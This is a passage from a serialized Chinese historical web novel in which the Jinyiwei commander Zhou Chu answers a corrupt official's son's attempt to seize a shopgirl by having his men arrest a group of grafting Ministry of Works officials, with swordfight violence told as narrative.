具体怎么改,周楚也不是很懂,不过周楚相信,以海瑞和杨盛斋等人的能力,肯定会将其中的构造调整到适合火车的程度。 “送到南镇抚司去吧。” 周楚弄完蒸汽机,一旁的婢女端过来一盆水,周楚洗了洗手,然后说道。 “少爷,林稚心林将军求见。” 春兰来到周楚面前说道。 “稚心啊,带他去我书房。” 周楚说着,信步往书房走去。 “属下见过大人。” 林鹿来到书房之后,神情恭敬道。 “用不着这么客气,你现在也是侯爷了,而且以你的功绩,封个国公也是可以的,哪还用得着这么客气。” 周楚笑道。 “大人说笑了,林鹿无论何时都是大人手下的兵,和大人相比,属下不过是萤火之光罢了。” 林鹿不着痕迹地拍了个马屁道。 “少拍马屁,我还不知道你?” 周楚没好气道。 林鹿听到这话,嘿嘿一笑。 林鹿在半年前就回京了,他只用了一年时间,就彻底收复了奴儿干都司,原本在那里的女真人,在经历了成化犁廷之后,好不容易恢复了一点元气,差点被林鹿把人全打没了。 经过林鹿的这次横扫,女真人没有个一两百年,休想恢复元气。 人口基数越低,想要扩大种族人数的难度是所需的时间就越大。 林鹿的战报也被嘉靖放在了之前的那些奏疏之中,周楚也顺便看了,自然清楚林鹿的战绩。 不算躲在深山老林里的那些女真人,单单明面上的,基本没多少了,虽不至于亡族,但想要有什么发展,几乎不可能了。 林鹿收复奴儿干都司,军功不可谓不小,不过嘉靖却没有给他封国公。 一方面,只是一个奴儿干都司封国公,确实有些勉强,毕竟奴儿干都司之前是大明主动放弃的,苦寒之地,现阶段整个朝堂能看到的收益很少,可以说几乎没有。 另外一方面,无论是嘉靖还是林鹿都清楚,林鹿的这些军功,根本就是从周楚手中捡过来的,包括之前北征蒙古人,都是周楚给他做好了所有的准备工作,只要林鹿不是很蠢,这些功劳都是手到擒来的。 再加上林鹿是嘉靖的表哥,嘉靖也就没给他封国公。 不过其他的封赏自然是少不了的,如今林鹿也是有了封号的大将军了,被嘉靖封为抚远大将军。 除了这些,还有其他许多封赏,不一而足。 如今的林鹿,已经二十四五岁了,开始蓄起了胡须,倒是比之前显得成熟了不少。 “属下这些功劳都是沾大人的光,大人把所有准备都做好了,无论谁来做,都能有功劳,真算不得什么。” 林鹿诚恳道。 “那也要有领兵打仗的本事才行,当初我为何不选其他人,选了你?就因为你是公主的嫡子吗?你要没有这个能力,我早就选其他人了。” 周楚这话倒不是假话,林鹿跟随周楚很长时间,可以说从周楚开始组建虎贲军和玄武军的时候,就开始跟着周楚了。 在江南的时候,特别是荡平倭寇的时候,林鹿不断地跟着周楚学习行军打仗,周楚倒也没藏私,所以林鹿的领兵能力在整个虎贲军之中都是数一数二的。 同样的领兵能力,林鹿之前又一直是虎贲军的副统领,再加上林鹿的身份,周楚都想不出不选林鹿的理由。 “你这半年倒是清闲。” 周楚看着眼前的林鹿,调侃道。 “这还不是托了大人的福,原本属下还需要镇守大同的,但大人将蒙古人彻底打熄火了,这两年西域都护府的羊毛生意越做越大,西域都护府甚至在往乌海以西扩张,那些蒙古精锐死后,蒙古人毫无抵抗之心,要么加入大明,要么继续往西退。” 林鹿说道。 周楚听到这话,看了看书房之中挂着的大明地图,这张地图是宫中专门有人绘制的,这两年大明的地图每隔一段时间就更新一次,这一张是大明的最新地图,嘉靖每隔一段时间就会让人送一张地图到周府,春兰自然会把新的地图挂在周楚的书房。 如今大明的版图,往东北达到奴儿干都司以北,往西达到乌海以西,西藏南越都在大明的版图之内,而且这些全都是实际控制的版图,而非名义上掌控的。 往北的话,是另一批蒙古人,不过这些蒙古人对大明的进攻欲望并不强,也没和山西的那些商人勾结,如今已经形成不了什么有效的战力了,往北推进只是时间问题,或者说需要一个合适的借口。 周楚看着眼前的大明版图,不禁有些唏嘘,不知不觉间,大明的版图快比得上巅峰时期的大唐了。 如今的大明,无论是各个方面,都强的有些可怕,钱财方面,如今的国库那叫一个充盈,先不说之前抄家,嘉靖放在国库里的钱,单单是这两年的海税,就是一笔极其恐怖的财政收入。 更不用说如今江南和京城附近已经开始实行一成的商税了。小說中文網 “你家老二呢?” 周楚看着林鹿,问道。 如今的东瀛是齐良在值守,林廌赋闲在京城。 “在家呢,大人有何吩咐?” 林鹿恭敬道。 “叫上他,一起去教坊司逛一逛。” 周楚笑道。 林鹿听到这话,倒是有些不好意思,他一向遵守礼法,教坊司更是从未去过。 “怎么,不好意思去?” 周楚看到林鹿这副模样,打趣道。 “这有什么不好意思的,我这就去叫老二。” 林鹿强装镇定道。 第334章 大柱家出事,二丫的主意 大柱和二丫的父母早在两人来到京城之后没多久,就被周楚派人也接到了京城之中。 刚开始大柱的父母第一次见到京城的繁华,很是拘谨,生怕得罪不该得罪的人,毕竟天子脚下,京畿重地,一板砖下去都能砸出几个官员来。 后来在京城生活的久了,两人慢慢也就适应和习惯了京城的生活,春兰按照周楚的要求,帮他们一家人在周府附近购置了一套三进的宅子,不算大,但足够一家人生活了。 太大的宅子对这一家人而言并非好事。 周楚离京进藏之后,二丫也就跟在了自己的父母身边生活,不过有了周楚的嘱托,以及这一家子和周楚的关系,春兰一直在明里暗里帮助着他们。 二丫的爹娘刚到京城之后,也都是闲不住,春兰就把二丫的娘介绍进了云桂坊干活。 二丫的爹则进了布庄干活,如此一来,两人的日子倒也过的很是踏实。 等到两人干了一年左右,熟悉了其中的流程,春兰帮他们盘下了一个铺子,主要经营的就是布匹的生意。 张家铺子卖的布都要一些普通百姓用的布,云桂坊现在基本走的都是高端路线,虽然云桂坊现在几乎垄断了京城大半的高端丝绸,但张家铺子倒也不会受到云桂坊的影响,生意倒也不错。 如此一来,张家慢慢的也就富裕起来了。 不过张氏夫妇都是极为本分之人,包括二丫,也从不提自己和周楚之间的关系,大柱的爹从来都明白一个道理,凡事做尽,缘分势必早尽,现如今的生活是他们以前做梦都不敢想的,他们已经很知足了。 除了二丫没事经常去周府找春兰玩之外,张氏夫妇两人平日里都在忙生意,偶尔会备上一些礼去感谢春兰,对此春兰从不接受。 “这些都是少爷安排我做的,要谢你们等少爷回来谢他就是了。” 张氏夫妇就这么一直经营着铺子,生活极其平稳。 直到这天,铺子旁经过一个年轻公子哥,这公子哥正是工部一个五品官员邵锡家的,原本工部的那些官员被周楚查处的差不多了,这位是后补进来的,原本六品的地方官一跃成为工部的五品官,可以算得上平步青云了。 这两年时间,周楚没在京城,京城之中后补的这些官员又没多少见识过周楚的厉害,对于周楚这位锦衣卫指挥使倒没什么太大的感觉。 锦衣卫指挥使不在京城,这让这些后补的官员捞起钱来有些肆无忌惮,甚至欺男霸女,抢占民田,都是常有的事。 陆万山等一众锦衣卫虽然也查办了不少,不过陆万山和周楚不同,他办起案子来,不像周楚那么肆无忌惮,这种官员查办一两个还行,要是抓的太多了,陆万山真怕自己顶不住那些文官的攻讦。 毕竟陆万山只是一个北镇抚司镇抚使,光是官职就比周楚低了不止一级,手中的权利和周楚相比更是天差地别。 说白了,陆万山这些人都是从正德年间过来的,见识过当年文官们的恐怖,做起事来自然是畏首畏尾,特别是他们的顶头上司周楚不在京中,虽然锦衣卫如今大权在握,但陆万山怕自己做错了事,导致锦衣卫和自己受罚。 为官之道,做多错多,少做少错。 虽然这一点不太适用于锦衣卫和北镇抚司,但陆万山却也一直奉行的这个原则。 对于那些胡作非为的官员,陆万山倒也不是不抓,隔段时间抓一个,震慑一下,两年时间,北镇抚司满打满算也就抓了五六个官员,大多还都是五六品的。 这种震慑作用不能说没有,却也是极小的。 这位工部官员家的公子哥便是如此,平日里便是捧高踩低的存在,很有眼色,在京城之中看到自己惹不起的人,从不会骄横跋扈,甚至会主动讨好。 但眼前的这个铺子,在他眼里不过是一家极其普通的铺子,里面摆放的布也都是普通百姓购买的布,这一点他是一眼就能看出来。 吸引他的不是铺子里的布,而是铺子之中正在忙活的二丫。 二丫虽然来京城两年多了,却从未受过任何礼仪规矩的约束,言行举止之间和京城的女子完全不一样,在这位公子哥眼中,眼前的小美人带着一股说不出的野性,让他有种想要征服的欲望。 平日里京城的女人百般模样他都见过,唯独没见过二丫这样的,如果就此错过了他是无论如何都不甘心的。 于是他冲着跟在自己身后的两个家奴使了个眼色,那两个家奴直接进了铺子,一左一右,就要去抓二丫。 二丫眼看两人来者不善,也不多言,她自从跟云瑾学武以来,已经两年多了,而且每日吃的都是补气血的肉食,本身又是山里人,一身气血极其旺盛,此时的二丫不止不害怕,反而有些兴奋。 平日里二丫害怕惹祸,就算想打架也找不到人练手,现在有了打架的机会,她又岂肯放过? “两位要买些什么?” 还没等两人靠近二丫,见识不对的张父来到了两人面前,横在两人和二丫中间说道。 两人看了一眼张父的体格子,心里估算了一下,自己两人恐怕不是眼前这人的对手,于是起了强抢的心思。 “我们家少爷看上这丫头了,这是你们的荣幸,我们家老爷可是工部的要员,跟着我们少爷,她以后荣华富贵,享受不尽。” 其中一个家奴说道。 这套说辞他们不止对一个人说过,说起来自然是极其流畅的。 张父和旁边的张母听到这话,脸色都是一变,特别是张父,脸色极其难看。 此时他才明白这两人打的是什么心思,刚才要不是自己拦着,这两人莫不是要直接动手强抢民女? “两位请回吧,小女无福消受。” 张父进京两年,言谈举止之间倒也不像刚来的时候那般粗鄙了,毕竟平日里要接待客人,他也学会了一些文绉绉的话。 两位家奴听到这话,脸色都变的很难看,他们没想到眼前这个人这么不识抬举,以前他们这么一说,基本无往不利,毕竟民不与官斗,普通百姓没人敢得罪一个五品的官员。 以往他们倒也不是没遇到过拒绝的,不用那些人他们都能轻松解决,但眼前这个男人的体格子,两人看着心里都有些发怵,但自家少爷交代的事,自己要是办不好,恐怕会被少爷打死。 自家的这位少爷可从来都不是什么善茬。 “你们不要不识抬举,我们家老爷可不是你们能得罪的,要是不答应,这京城没你们的容身之地。” 此人色厉内荏道。 “两位请回吧,休要多言。” 张父板着脸道。 两人听到这话,对视了一眼,明白今日不动手是不能善了了,动了手,就算被打一顿,回头少爷也不会怪罪自己,毕竟自己尽心尽力了,倘若不敢动手,两人都不敢想自家少爷会如何处罚自己。仦說Ф忟網 随后两人一左一右纷纷挥拳打向了大柱的爹,大柱的爹本身就是猎户,再加上常年站桩,虽然没有练武,但这两人也绝不是他的对手。 一旁的二丫甚至没来得及动手,这两人就被踹出了铺子。 这位邵公子看到这一幕,顿时脸色铁青,原本想上前动手的,但看到张父那体格和身上散发出来的野性,这位被酒色掏空了身子的公子哥还是怂了。 “我看你们是活腻歪了,连本公子的人都敢打,等着吧,明日之前不让你们的铺子关门,本公子就不姓邵,有你们跪下来求我的时候。” 这位公子哥放了狠话,带着两位家奴就离开了。 二丫听到这话,心中毫无波澜,甚至觉得无比好笑。 二丫进京之后,见了许多人,如陆炳,如陆万山,还有锦衣卫之中的许多千户。 这些人见到二丫之后态度都出奇的好,二丫是清楚他们身份的,来京城两年多了,二丫早已不是当初那个什么都不懂的小姑娘,这些官职之间的贵贱尊卑,二丫多少还是知道一些的。 虽然二丫不知道这个所谓的工部要员是几品官,但无论是周楚还是陆炳都和二丫说过,在这京城之中,不惹事,但也不用怕事,有人敢惹他们,那算是瞎了眼了。 反倒是二丫的父母一脸忧愁,方才那两人只说他们家老爷是工部的要员,具体是几品官他们不清楚,而且这是京城,无论是几品官也不是他们能惹得起的。 “爹,你担心什么?周大哥回京了,有他在,我倒要看看哪个瞎了眼了敢惹我们。” 二丫一脸不在乎道。 “你这孩子,我们怎么能一直麻烦你周大哥呢?他帮我们的还不够多吗?这家人是几品官还不知道呢,怎么能为你周大哥惹来不必要的麻烦呢?” 张母说道。 二丫听到这话,倒也没有反驳,不是不想反驳,而是知道反驳也没用,她跟着云瑾学习了一段时间,不止学了武,还学会了一些道理,她明白,此时和自己的父母讲道理是讲不通的。 倘若他们一家子出了事,为周大哥只会带来更多的麻烦,还会让周大哥难过。 不过既然张父张母这么说了,二丫决定换个思路。 “那我去把大哥叫回来,他现在也是锦衣卫,有他在应该不会有事。” 二丫很清楚,自己的大哥现在可是周大哥的护卫,虽然官职不高,但在锦衣卫之中的地位极高,即便是那些千户见了自己的大哥,都要称兄道弟的,一个个要多谦卑有多谦卑。 有大哥在,基本不会有什么大问题。 张父听到这话,想了想,最终还是点了点头。 “去吧,不要惊动你周大哥。” 张父有些不放心道。 “放心吧爹,我知道该怎么做。” 二丫直接跑出了铺子,直奔周府而去。 周楚原本正在家中会客,不是别人,正是林瑶。 林瑶如今也是大姑娘了,早已没了当初的青涩,言情举止之间也多了许多礼仪气度。 这么多年,林瑶一直对周楚念念不忘,甚至多次进宫,希望自己的表兄皇帝能给自己赐婚,都被嘉靖拒绝了。 不过这次周楚回来,嘉靖倒是答应了林瑶替她跟周楚说一说,毕竟嘉靖也是希望周楚和林瑶成为一家人的,这样的话,嘉靖和周楚之间的关系就更加亲近了。 不过嘉靖倒也知道,陆云瑾对周楚一直都有着心思,甚至周楚对陆云瑾也应该有着同样的心思,所以具体该怎么做,嘉靖还需要和周楚商议一番再说。 “周大哥,你这次离京两年多,不知道吃了多少苦,受了多少罪。” 林瑶看着变黑了不少的周楚,有些心疼道。 她的大哥林鹿回京的时候,也变黑了很多,她却不见一丝心疼。 毕竟自家大哥立下军功,封了大将军,只是黑了一些,哪里需要心疼。 都是一起长大的,谁不知道谁? “倒也没什么,习惯就好了。” 周楚笑道。 两人正说着话,二丫探头探脑的看了过来,悄悄地冲周楚旁边站着的大柱招了招手。 大柱看了看二丫,又看了看周楚。 周楚自然注意到了大柱的异常。 “去吧。” 大柱这才走了出去,来到二丫身旁。 “你怎么这么冒失?没看到大人正在谈事吗?” 大柱有些责怪道。 如今的大柱可不是当初的大柱了,无论是锦衣卫的规矩还是军中的规矩都了然于心。 “大哥,家里出事了。” 二丫急忙说道。 大柱听到这话,脸色一变。 “到底怎么了?” 大柱急忙问道。 二丫当即将方才发生的事一五一十的告诉了大柱,大柱听完之后,一脸冷笑。 “真是不知死活,欺男霸女欺到我张家头上了。” 如今的大柱,锦衣卫之中的官职虽然只是个小小的总旗,但以他之前立下的军功,在军中早已被封为总兵了,只不过只有官职,不去军中任职罢了。 这还只是大柱的官职,更不用提大柱身后的周楚了。 “我与大人告假,这就随你回去。” 大柱说完来到周楚身旁。 “怎么了?” 对于大柱,周楚还是很了解的,一看他的脸色,周楚就意识到了有事。 “大人,我家里有点事,想要告假一日。” 大柱恭敬道。 “行。” 周楚随意道。 大柱听到这话,松了口气,他还真怕周楚问他什么事,毕竟他爹吩咐了不要惊动周楚,但他又不敢欺瞒周楚。 大柱离开之后,周楚看向了一旁的沈炼。 “去查一下大柱家里发生了什么事。” 说完这话,周楚又有些歉意地看向林瑶。 “县主,我还有点事要处理,先失陪一下。” “我去找小刀玩会。” 林瑶听到这话,说道。 第335章 敲打陆万山,北镇抚司的行动,工部官员傻眼了 锦衣卫的效率出奇的快,有了周楚的命令之后,不到一刻钟,锦衣卫就搞清楚了二丫家里发生的事情。 周楚听到沈炼的回报,陷入了沉思之中。 “张家铺子那边有大柱在,就不用管了,去把陆万山叫过来。” 周楚很清楚,这个邵锡不过是工部的一个区区五品官,别说这个纨绔子只是回去叫人了,就是把他爹叫过去,都不够大柱打的。 工部,主管的就是大明各处的施工,包括皇宫里任何地方的修葺,都归工部管,虽说权力不大,确实实实在在的油水部门,每个工部的官员都捞了不少钱。 虽然之前工部的官员被周楚清理了很大一部分,但这两年多的时间,周楚没在京城,这些后补的工部官员就都故态复发了,毕竟无论是谁守着钱想要不伸手,都是极其困难的。 邵锡便是其中之一,在工部和其他官员一起上下其手,丝毫不知收敛。 这种官员,周楚一查一个准。 很快,陆万山就来到了周楚面前。 “我听说你这两年对这些官员都是睁一只眼闭一只眼,满打满算也没查办几个官员?” 周楚瞥了一眼眼前的陆万山,面无表情道。 陆万山听到这话,瞬间就跪倒在了周楚面前。 “大人恕罪,大人在外征战,陛下心中想着的肯定是为维持京城相对稳定的局面,为大人保证一个大后方,倘若属下随意查办,这些官员一旦闹起来,不是属下能弹压的下去的....” 陆万山欲言又止道。 实际上陆万山这两年没有大肆查办这些官员,除了他本身经历过正德一朝之外,最重要的原因就是嘉靖没有明旨让他查办谁。尐説φ呅蛧 无论是锦衣卫还是北镇抚司,首先肯定要听皇帝的,陆万山年龄大一些,考虑的事情就要多一些,他很清楚,以他的能力当个北镇抚司的镇抚使也就到头了,就算给他更大的官职,那场面他也镇不住。 “你北镇抚司的职责是干什么的?不能大规模的查,但也不能不查,这其中的度你没把握好,说白了,还是你怕那些文官们弹劾你。” 周楚冷哼一声道。 陆万山的做法,周楚大体是认同的,不然周楚回京的第一时间,陆万山这个北镇抚司的镇抚使就被换了。 不过该敲打还是要敲打的,毕竟身为北镇抚司的镇抚使,太过瞻前顾后也不行。 “属下和大人相比,差了不知道多少,自然是拿捏不好其中的度,还望大人恕罪。” 陆万山听到这话,顿时松了口气,无论是周楚这话,还是周楚的语气,都代表着周楚不想追究这件事了。 “本官听说工部的官员这两年捞钱捞的有些嚣张了。” 周楚喝了口茶,说道。 闻弦音而知雅意,陆万山一听这话,瞬间就明白了,工部有官员得罪了周大人,或者说得罪了不该得罪的人。 “大人放心,属下这就带人去严查工部,工部官员,但凡有贪墨朝廷资产的,一个都跑不了。” 陆万山保证道。 “去吧。” 周楚挥了挥手道。 周楚原本还想着要不要给杨一清和杨慎送个帖子,请他们二人吃顿饭,问一问工部之中有没有他们要保的人,但想想还是算了。 自己这个锦衣卫指挥使注定是孤臣,不应该和内阁官员走的太近,之前周楚还提醒陆炳不要和这些官员走的太近,现在自己差点又走到这一步。 一旦和这些官员牵扯太深的话,到时候办起案子来,就会束手束脚,谁的人要保,谁的人要留,都是问题。 干脆装糊涂。 杨慎那边倒还好,他本身就是一个孤臣,除了少数的几个好友之外,朝中基本没什么党羽。 但杨一清就不清楚了,两年前杨一清在朝中的党羽基本都被周楚清除了,当时杨一清也对周楚释放了善意。 但毕竟两年多过去了,周楚这两年没在京城,谁也不敢保证杨一清的野心会不会再次滋生。 别的不说,要说工部没有一个杨一清的人,周楚是绝对不信的。 既然要查,又何必分你我,倘若周楚和杨一清因为这事要事先商量的话,嘉靖该睡不着了。 另外一边,大柱跟着二丫来到了自家的铺子之中,张父张母看到了大柱如同找到了主心骨。 “大柱,不会有事吧?” 大柱的娘满脸担忧道。 “有个屁的事,别说区区一个工部官员了,就算是兵部户部的,他们要是敢来,我都敢劈了他们。” 大柱说着拿过来一个凳子,大马金刀的坐在了铺子中间,等着那个纨绔子带人来。 “一会能别动手就别动手....” 张母说道。 “娘,你不懂,这是京城,退让换来的只会是那些人的得寸进尺,只有把他们打怕了,打服了,他们才不敢招惹我们,放心吧,我心里有数。” 这两年多的时间,不只是张父学会了京城之人的谈吐,大柱跟着周楚,耳濡目染之下,谈吐也早已不是之前的那个大柱了。 “交给大柱吧,他跟着周大人这么久,该怎么办他比我们有数。” 眼看着张母还要说什么,张父阻止道。 对于周楚,他们不敢直呼其名。 “娘,你和二丫去后面吧,一会省的误伤,这里有我和爹就行了。” 大柱看着自己的娘,说道。 “我不去,我也要打架,我这两年多都有在练武。” 二丫一脸不服气道。 “你个姑娘家家的,拳打脚踢的像什么样子?这要是传出去,以后还想不想说个好人家了?” 张父瞪了一眼二丫道。 “就是,跟娘去后堂。” 张母说着不管二丫如何不服,拽着二丫就向后堂走去。 没过多久,邵锡的那位公子就带着一二十个家奴,气势汹汹的来了。 原本还气势汹汹的邵公子,看到铺子里大马金刀坐着的大柱,顿时愣住了,准确点说,是他看到了大柱身上的锦衣卫总旗的衣服,以及大柱手中的绣春刀,有点发怵。 虽然这两年京城中锦衣卫没什么大动作,但毕竟是锦衣卫。 不过一想到自己人都叫来了,倘若就此退去,脸面也就丢尽了。 “这位兄弟,本公子奉劝你一句,这蹚浑水你还是不要趟的好。” 邵公子看着大柱,说道。 大柱听到这话,瞥了一眼眼前这个草包,脚底虚浮,黑眼圈严重,一看就是被酒色掏空了身子,这种人大柱平日里遇到都会让一下,生怕一不小心撞坏了。 但此时不同。 “这是我家的铺子,你让我不要蹚浑水?岂不可笑?” 大柱冷笑道。 邵公子听到这话,看了看大柱,又看了看大柱的爹,这才发现两人眉眼之间有五六分相似,顿时明白了两人的关系。 “这位兄弟,你不过是一个区区锦衣卫总旗罢了,我爹可不是你能惹得起的,他后面还有大人物,你妹妹跟着我,荣华富贵,什么都有了,岂不美哉?” 邵公子软硬兼施道。 “少废话,今日要么你带着人滚蛋,要么就试一试我这手中的绣春刀。” 大柱说着拔出绣春刀,看着眼前的二十多人,怡然不惧。 这些人大多数是家奴,少数几个是护卫,这些人的战斗力根本不被大柱放在眼里。 要知道大柱跟周楚练武之前,就已经站桩十几年了,根基无比深厚,这几年跟着周楚南征北战,特别是在西藏的这两年,经历的大大小小的恶仗不知道有多少。 面对的局面比眼前凶险多少倍的都有。 眼前的局面甚至算不上凶险,就这些人,在大柱眼中,都未必比得过三四个喇嘛兵。 喇嘛兵是真的难缠,只要不是将他们彻底杀死,就存在危险。 “给脸不要脸,给我把这个铺子砸了!” 邵公子咬牙切齿道。 这话一出,他身后的那些家奴你看看我我看看你,他们看着大柱那夸张的体格子,以及他手中的绣春刀,心里没有一个不发怵的。 这要是上去,有没有命还不知道呢,一时之间,大多数人都怂了。 不过也有不要命的,正是邵家的护卫头子,他仗着自己的功夫不错,提着一把刀就向大柱杀了过去。 大柱甚至躲都没躲,直接用绣春刀将此人手中的刀斩断了。 这种民间用刀的质量和绣春刀完全没得比。 这一刀让那个护卫头子瞬间愣住了,然而大柱却不准备就这么放过他,手中的绣春刀顺势一挑,护卫头子的右手瞬间被斩断,鲜血喷了一地。 “啊啊啊!” 此人倒也没有他表现的那般硬气,捂着被斩断的肩膀疼的直打滚。 “给老子一起上,不然回头都把你们弄死。” 邵公子眼看着自己手下更害怕了,恼羞成怒道。 这些家奴听到这话,顿时不怂了,和大柱打,象征性的打一下,最多断胳膊断腿,但不打,回去肯定会被这位整死。 这其中的利害关系,他们还是算的明白的。 二十多人一拥而上,大柱的爹将早已准备好的刀拿了出来,和大柱一左一右,大柱一刀一个,基本都是斩断一条胳膊,如果有人敢抬腿的话,大柱也不介意顺手将他的腿斩断。 这些人本就没什么斗志,上来不过是演一演罢了,断条胳膊也认了,断腿的只能自认倒霉。 很快,所有人都躺在了地上。 张父看着一地的断肢和血,满脸担忧。 “大柱,这会不会影响以后铺子里的生意啊?” 大柱听到这话,都有些无语了,懒得搭理自己的财迷爹。 陆万山回去之后,让人稍微查了一下,就明白了周大人为何让自己去查工部了。 合着工部有人不长眼,胆敢去招惹张家铺子。 “派些人过去帮大柱处理一下现场。” 陆万山说完这话,就带人直奔工部衙门去了。 有了目标,陆万山自然知道首先要抓谁了,工部的官员大多数都贪,但贪的金额有大有小,陆万山不可能全部都抓,不然的话工部就没办法正常运转了。 不过有了周楚的命令,陆万山也不准备轻轻放下了,除了邵锡之外,还有十几个捞钱捞的最多的,都在陆万山的抓捕名单之内,这十几个官员都身居要职。 邵锡并不在工部衙门,他今日休沐,正在家中陪自己的小妾。 这个小妾是他刚纳了没多久的,新鲜着呢,一有时间就往她屋子里钻。 等到锦衣卫的人冲进了邵府,将他从床上提溜起来的时候,邵锡看着北镇抚司的服饰,顿时打了个寒颤,吓得差点中了马上风,好悬没过去。 很快,工部这十几个官员全都被抓进了昭狱之中。 原本他们以为被抓的只是自己,可能是陆万山这位北镇抚司的镇抚使又抽风了,抓一个做做样子,但看到这么多同僚,他们才意识到这件事不简单。 “难道是那位?” 其中一人看着眼前的同僚,有些不确定道。 以他们的级别,还不敢直呼周楚的名字。 “现在看来,也只有那位了,陆万山没有上面的授意,不敢同时抓这么多人。” 工部侍郎李瓒说道。 这次被抓的工部官员之中,官职最高的就是他。 李瓒和其他被抓的官员不同,他在嘉靖元年就被任命为工部侍郎了,彼时周楚还在江南,后来周楚回京之后,虽然经历了陈万言一案,但他却看不到更深层次的东西,以为陈万言纯粹是自己作死,得罪的人太多。 殊不知陈万言根本就是嘉靖推出来为周楚挡刀的。 后来的毛纪杨廉一案,动手的也不是周楚,而是内阁首辅杨一清,所以李瓒对周楚这位锦衣卫指挥使其实没多大感觉。 即便工部尚书多次暗示他,不要捞的太多,他都不太在意,总觉得不趁着自己是工部侍郎的时候多捞钱,以后说不定就没有捞钱的机会了。 李瓒尚且如此,剩下的这些基本都是在他后面补进工部的,有一大部分都是这两年进京的,对周楚这位只闻其名,不见其人的锦衣卫指挥使更是没什么感觉。 “也只有那位了,他这才刚回京多久,就要搞事?他也不怕得罪人?” 另一个官员满脸不解道。 实际上不只是他不解,被抓进来的这些,基本都想不明白,北镇抚司这是吃错了什么药?一次性抓这么多人? 这两年大家都捞钱捞的好好的,也没见北镇抚司这样啊? 这位锦衣卫指挥使当真是不知天高地厚。 当然,除了工部侍郎李瓒。 他在这些人之中进京是最久的,很多事虽然没亲眼见过,但多少听说过,不过那个时候李瓒权当故事听了,他觉得周楚以前做的事肯定是出自皇帝的授意,或者其中有无数人参与,不过是传闻将事情都推到周楚头上罢了。 也就没怎么当回事。 此时的李瓒看着这么多被抓的同僚,不禁回想起了关于周楚的那些传闻,顿时汗流浃背! 第336章 周楚迟来的清算,头疼的杨一清 北镇抚司的人到张家铺子的时候,邵公子正哆嗦着手指着大柱,想要说些狠话,却又怕惹怒大柱,毕竟此时的大柱满身都是血,完全一副杀红了眼的模样。小說中文網 邵公子即便纨绔,也是有些眼色的,很清楚这种情况下不能惹怒眼前的大柱。 “张大人,我等来晚了,还望恕罪。” 北镇抚司的人马来到大柱面前,急忙告罪道。 即便大柱只是个总旗,即便此次北镇抚司带队的是一个百户,但这个百户在大柱面前也得毕恭毕敬。 别说是百户了,就算是千户见了大柱都得客客气气的。 “有劳兄弟们帮忙收拾一下,不然都是血,影响生意。” 大柱看着眼前的锦衣卫,说道。 “张大人哪里的话?陆大人叫我等前来,就是听候您的吩咐,我等这就收拾,保证收拾完之后,铺子里一点血腥味都没有。” 为首的百户说道。 要说清理现场,锦衣卫是专业的,锦衣卫之中甚至有人专门配置一些药水,可以完全清除那些看不见的血污,经过锦衣卫清理之后,不只是闻不到血腥味,整个铺子里基本上一点血都不会再有了。 邵公子眼看着锦衣卫来了这么多人,形势很不妙,想着先避其锋芒,回头再来算账,正要偷偷跑路,却被大柱拦住了去路。 “想来就来,想走就走?” 大柱怎么会让此人这么轻易的跑了。 “怎么,你一个小小的总旗,还敢抓我不成?” 邵公子看着大柱,倒也硬气,他爹是工部的五品官,眼前的大柱不过是锦衣卫的一个总旗,七品官罢了,虽说锦衣卫见官大三级,但那也只是对千户以上的锦衣卫而言。 锦衣卫之中的总旗和百户不知道有多少,总旗到百户差了一级,百户到千户虽然只是差一级,但实际上的权利却是天差地别。 千户都是有数的,每一个千户都是有名有姓的人物,但百户不一样,京城之中,光锦衣卫百户就不知道一两百个,更不用说总旗了。 大柱听到这话,倒是一愣,他还真不敢贸然将眼前这个纨绔子抓起来,因为他怕给周楚惹祸。 “张大人尽管抓,周大人已经让陆大人去工部抓人了,他爹跑不了,工部那些官员也跑不了。” 一旁正在收拾的百户听到这话,顿时笑了,冲着大柱说道。 大柱听到这话,眼睛顿时亮了。 对于此人的话,大柱丝毫不怀疑,至于周大哥是如何知道自家的情况的?大柱很清楚,这京城之中的事,只要这位锦衣卫指挥使想知道,没什么是不能知道的。 大柱伸手抓住邵公子,如同拎着一个小鸡仔一般将他扔在了自家铺子跟前。 邵公子此时还在回味着刚才的话。 周大人?陆大人?去工部抓人? 他可不怀疑这些锦衣卫的话的真实性,此时的邵公子脑瓜子嗡嗡的,他不知道哪里出了问题,为何事情的走向和自己的料想完全不一样。 很快,邵公子也被带到了昭狱之中,和他爹邵锡等官员关在了一处。 邵锡看到自己的儿子被抓进来,也有些懵,毕竟他的其他同僚都只是个人被抓进来,毕竟北镇抚司抓人是为了审,没有掌握足够的证据之前,不能抄家,也就不会抓官员的家人。 但眼前邵锡的儿子让所有人都愣了一下,随后很多人便意识到这件事恐怕没那么简单。 “你因为什么被抓进来的?” 邵锡看着同僚的目光,知道不弄清楚是不行的,看着自己儿子问道。 “我....我也不清楚.....” 邵公子的名为邵阳,邵阳听到这话,看着周围这些官员的灼灼目光,瞬间意识到自己可能捅了大篓子了,天大的篓子。 不过这也只是一种感觉,毕竟从邵阳的视角来看,他得罪的不过是一个锦衣卫总旗,什么锦衣卫总旗能有这么大的能量。 在这种氛围下,原本还想撒点谎的邵阳,完全说不出谎话了,当下一五一十的将自己之前的遭遇说了出来。 “张家铺子?那个锦衣卫总旗是不是叫张大柱?” 李瓒听到张家铺子之后,好像想到了什么,急忙问道。 “好像是,他爹叫他大柱。” 邵阳想了想,说道。 “张大柱,你他娘的真是胆大包天,敢去惹他家的人,还想抢人家的妹妹?你怎么不上天呢?” 李瓒听到这话,气的破口大骂道。 邵阳被骂懵了。 “大人为何骂我?” 邵阳不解道。 “骂你?骂你都是轻的,我现在想打死你,我们这些人被抓进来,全都是因为你,因为你管不住自己的裤裆。” 李瓒知道了祸源,恨不得将眼前的邵阳弄死。 其他人听到这话,顿时来了精神,满脸不解的看向李瓒。 “李大人此言何解?” 其中一个官员问道。 “他口中的那个锦衣卫总旗,是那位的护卫,说他的名字你们可能不熟悉,但另一位你们肯定都听过,沈炼!” 李瓒恨铁不成钢道。 其他官员听到这话,顿时倒吸了一口凉气,沈炼跟随周楚多年,自周楚刚当上锦衣卫指挥使没多久就跟着周楚了,虽然在锦衣卫之中官职只是个百户,但其名气完全不下于一般的锦衣卫千户。 特别是之前周楚在余姚遇刺,沈炼的恐怖战力传回京城,更是让他名声大噪。 “沈炼,张大柱!你抢女人抢到锦衣卫指挥使护卫的妹妹那里去了?” 邵锡看着自己的儿子,终于明白自己为何被抓了。 原本邵锡还觉得很冤枉,自己虽然捞钱,但在这些同样被抓的人之中,并不算拔尖,怎么自己就这么倒霉被抓了。 